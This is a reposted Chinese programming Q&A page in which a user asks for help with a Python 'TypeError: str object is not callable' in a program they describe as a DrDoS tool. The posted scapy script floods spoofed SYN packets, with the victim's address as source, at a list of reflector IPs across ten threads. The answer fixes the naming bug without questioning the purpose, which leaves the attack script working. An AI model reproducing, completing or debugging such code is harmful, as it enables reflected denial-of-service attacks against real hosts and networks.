Skip to main content
 首页 » 编程设计

Python 类型错误 : 'str' object is not callable

2025年05月04日16soundcode

我正在尝试用 python 编写一个 DrDoS 程序,但我不断得到

TypeError: 'str' object is not callable

这是我的代码

import os 
import sys 
import threading 
from scapy.all import * 
from time import sleep 
 
if os.getgid()!=0: 
print "Cannot send SYN packets without root, exiting..." 
exit(1) 
 
list=raw_input("List of live IPs: ") 
target=raw_input("Target: ") 
port=int(raw_input("Port: ")) 
 
print "Flooding, press ^Z to stop." 
 
class SYNFlood(threading.Thread): 
 def run(self): 
    c=0 
    with open(list, "r") as f: 
        IP = f.readline() 
        a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port) 
        send(a, verbose=0) 
        sys.stdout.write('.') 
        c=c+1 
    print "Done, sent " + str(c) + " packets." 
    exit(0) 
 
for x in range(10): 
t = SYNFlood() 
t.start() 

我做了一些研究,发现这是来自一个名为“str”的变量,我还没有找到它。有趣。

请您参考如下方法:

这里的这些行:

IP = f.readline() 
a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port) 

包含问题,IP 是一个字符串,您正试图像调用函数一样调用它。

IP(dst=IP, src=target, ttl=255) 

也许您应该选择一个不同的变量名,以免干扰其他命名空间。

此外,这一行:

list=raw_input("List of live IPs: ") 

阻止您使用 list 内置函数,请重新考虑这个名称。